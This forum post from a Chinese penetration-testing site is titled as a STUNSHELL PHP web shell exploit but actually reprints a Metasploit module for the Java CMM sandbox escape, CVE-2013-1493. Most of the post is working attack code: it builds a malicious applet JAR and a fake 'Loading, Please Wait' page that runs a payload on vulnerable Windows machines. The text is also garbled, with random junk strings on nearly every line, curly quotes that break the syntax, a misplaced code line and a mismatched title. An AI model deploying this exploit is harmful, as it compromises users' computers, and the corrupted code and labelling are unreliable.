中国网络渗透测试联盟

标题: STUNSHELL PHP Web Shell远程执行代码 [打印本页]

作者: admin    时间: 2013-4-4 17:31
标题: STUNSHELL PHP Web Shell远程执行代码
##6 }1 h3 ]( w- j0 d- a1 z

" z# Y; Q# \2 ]& H  i6 q: A" c; f6 R# This file is part of the Metasploit Framework and may be subject to
) e* ]# w: f" K# redistribution and commercial restrictions. Please see the Metasploit7 v  k9 i% x7 I1 ^8 g* u4 g1 A
# web site for more information on licensing and terms of use.8 T/ V9 r: v! O1 |- }# J
# http://metasploit.com/
7 A4 Y$ ~0 j  j( ^; w##3 [' N" [- m- J/ o
require ‘msf/core’
( ]( f. J+ L! Xrequire ‘rex’- ^. z% ^9 k7 i  q/ E
class Metasploit3 < Msf::Exploit::Remote% m  h2 b4 Z) o9 @! g4 s
Rank = NormalRanking- d/ V# c' I, E2 K  J9 A
include Msf::Exploit::Remote::HttpServer::HTML
. Z) ^2 u) S% O$ P" o  ginclude Msf::Exploit::EXE0 o; ?* x( T/ g- n6 o2 b" ~& S
include Msf::Exploit::Remote::BrowserAutopwn4 M$ _* J- p% f% l. {
autopwn_info({ :javascript => false })
9 z* m# ~: q$ Pdef initialize( info = {} )) k2 k1 z7 }$ B/ L9 D+ C/ I
super( update_info( info,
- N( B5 q( q5 R4 `! N! Q‘Name’ => ‘Java CMM Remote Code Execution’,( O' B+ z6 W5 N+ }" B; {
‘Description’ => %q{
7 n* I5 y$ J7 `: _9 J8 OThis module abuses the Color Management classes from a Java Applet to run. v* S" c7 m) `3 J
arbitrary Java code outside of the sandbox as exploited in the wild in February& I7 @$ D% ?6 [0 I2 V
and March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u41
8 j6 p6 Q1 w" m- @, u/ qand earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1* ~8 @$ L9 J3 _$ r0 l
systems. This exploit doesn’t bypass click-to-play, so the user must accept the java* B+ s! F2 i1 h  b! @2 h, {4 H& }1 I
warning in order to run the malicious applet.
( S3 l2 H3 V* r+ i, V0 k- q},
5 Z) j8 @7 X, G‘License’ => MSF_LICENSE,
$ `2 d1 @$ ^( |! a; A  {/ n‘Author’ =>! z3 v6 e$ V- W: O' o
'Unknown', # Vulnerability discovery and Exploit- ^- |/ V; X9 `9 W
'juan vazquez' # Metasploit module (just ported the published exploit)2 @$ [4 t- [" R% z- Y# h' ]4 A
],# T; x/ j! {  T* e
‘References’ =>' Y$ h2 o5 V% S  @
[
5 {8 V' f0 ]% Z8 M$ s' T[ 'CVE', '2013-1493' ],4 O8 M: |. p8 L! T2 F! x, [$ c6 }4 |1 ^
[ 'OSVDB', '90737' ],5 |8 U6 K# N7 \# |, Y* k3 l
[ 'BID', '58238' ],
: x2 t, L" ^, Q[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],
: K" m3 y0 T) L) q7 g/ u[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],
2 w% E& p& C. z+ q2 g$ f! w' D' c[ 'URL', 'http://pastie.org/pastes/6581034' ]# H2 O) p0 C7 h; o/ i8 I( X
],
7 f( }4 P6 H" |1 ~1 G, X‘Platform’ => [ 'win', 'java' ],
; d% ^: k$ R* z, i" F‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },& Q& E2 z- D( F! l
‘Targets’ =>
( x" I7 q4 {# I; @[% v; B  C& |/ c+ R
[ 'Generic (Java Payload)',
6 H9 g; l+ r% A* O* F{
! b& K; |; g7 e3 _8 K" ^'Platform' => 'java',
/ _4 M- g. i: y" Q3 i'Arch' => ARCH_JAVA
3 \; v1 I5 Z7 J; l" |1 g! p9 F}
) Z; r- H( g$ V0 l& u],3 B& S; _- B2 P  [# P
[ 'Windows x86 (Native Payload)',- ~+ [3 c4 ~5 e6 q$ t. ^% `8 I" T
{
! b8 s. ~5 b% W9 K7 w'Platform' => 'win',
. V/ s( L" J7 V% H" K'Arch' => ARCH_X866 `# S! R. W# X, c/ q' K0 Q9 a5 r! t
}! U( o) {: d* {( h6 \
]0 w0 v! i0 G9 s1 G8 d7 q
],
- r% ^5 `& B5 J. q‘‘DisclosureDate’ => ‘Mar 01 2013′2 t% q6 Y  U% Q4 X" U9 p
))
% O4 O5 `! d6 c+ K2 Cend9 O6 d: N. d" e8 ~) P+ \7 s
def setup
- B$ i; V4 A# ^7 K- p" C1 n' Mpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”)
9 O) _: ?+ ^  ^. C( R% @$ {( z@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }  K+ p" ^5 y  f
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)2 I% z; e: G+ i8 p* \
@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
1 j  g+ o+ ?3 g/ z1 xpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”), K4 g) c& [! n: h
@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
6 K+ A1 n) I- r, zpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)0 _1 V6 r6 F9 k/ Y8 K7 F
@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }/ R; O) v, A* f9 Z% ~: }! _
@init_class_name = rand_text_alpha(“Init”.length). K" O' ]) t6 o. C$ U. u/ D
@init_class.gsub!(“Init”, @init_class_name)
; t: r( W, U* B# f( A; asuper: R, {# P/ R  f% y" M1 y+ j) O
end) j7 I7 `# `$ j' @6 b0 C6 X: {% M
def on_request_uri(cli, request)  R# B1 B- i! h3 C3 j' ^
print_status(“handling request for #{request.uri}”)
4 ], A: o, }& e$ s6 fcase request.uri
7 N  D- V2 k" E4 M6 u( O9 Jwhen /\.jar$/i7 y5 S' a+ W( B1 B
jar = payload.encoded_jar
) S% F, T0 m% s2 v% g0 A+ `8 \jar.add_file(“#{@init_class_name}.class”, @init_class)
2 U$ [* ?' W% g+ P% S/ {jar.add_file(“Leak.class”, @leak_class)" |3 z' v8 p, p4 b# I$ \3 q' y
jar.add_file(“MyBufferedImage.class”, @buffered_image_class)
1 O) R4 q/ F$ R+ T2 z* Sjar.add_file(“MyColorSpace.class”, @color_space_class). d& E0 E- h2 n+ w9 f  |
DefaultTarget’ => 1,
: m/ F9 c1 e) r1 ?& Fmetasploit_str = rand_text_alpha(“metasploit”.length)
: M" X9 F1 S; u. P6 ?3 ?0 _+ spayload_str = rand_text_alpha(“payload”.length)
3 ?5 V1 a( B; [6 }# M* `jar.entries.each { |entry|/ d6 L+ F8 s: G- O
entry.name.gsub!(“metasploit”, metasploit_str)1 X/ E' O" Q9 [: j% n6 b, Q2 H% a
entry.name.gsub!(“Payload”, payload_str)
" I: v4 R( }4 C  i* m) w# M; Hentry.data = entry.data.gsub(“metasploit”, metasploit_str)
1 h. [* Z. C1 U8 Oentry.data = entry.data.gsub(“Payload”, payload_str)5 K. ^) I2 Q7 M1 W9 ]! G
}
8 z2 z8 `. S" ]  ?4 O; fjar.build_manifest
  ]; e2 D% c8 T, Osend_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })% f% K; P! D9 E2 S7 ]8 }- u# }1 _! j
when /\/$/
" g; F  z1 K; _" r- lpayload = regenerate_payload(cli)
0 l! `: J8 i6 i- F9 Q# Iif not payload
/ ^0 o; {/ C5 [& Rprint_error(“Failed to generate the payload.”)
8 q  z9 j% R, y0 z( msend_not_found(cli)0 d: R& L& c3 E; Z" d+ |, I
return
  H- W5 z. j+ A) U) Z4 K" Send
$ ?2 {( q3 ~$ {' B" Y& Ysend_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })* Z4 D" v: r7 j; \
else1 R/ ?; g5 D9 Z4 z% {3 \' K6 N' e) \
send_redirect(cli, get_resource() + ‘/’, ”): m$ m% I8 W+ ~" L, c8 `
end1 l3 ]! C( `5 N/ F( e( I! W) t- \
end' Y0 M3 o' z- z
def generate_html
0 h7 H2 e  A4 ?html = %Q|<html><head><title>Loading, Please Wait…</title></head>|
9 F' h* x" f  j) s  _html += %Q|<body><center><p>Loading, Please Wait…</p></center>|" _8 d) W9 v' V. q0 A& @/ L2 q
html += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|
) W; j5 y6 b8 Qhtml += %Q|</applet></body></html>|- L* L# u. _4 u, f9 T
return html
  M6 b* Z1 _: b  v! n- l# Zend5 X% O, f) J0 D) n1 e& ^8 s( s
end# V( ^* o9 U6 \- ?9 y! B& E/ U; @( o
end
. c4 [7 r* X' o/ O0 d




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2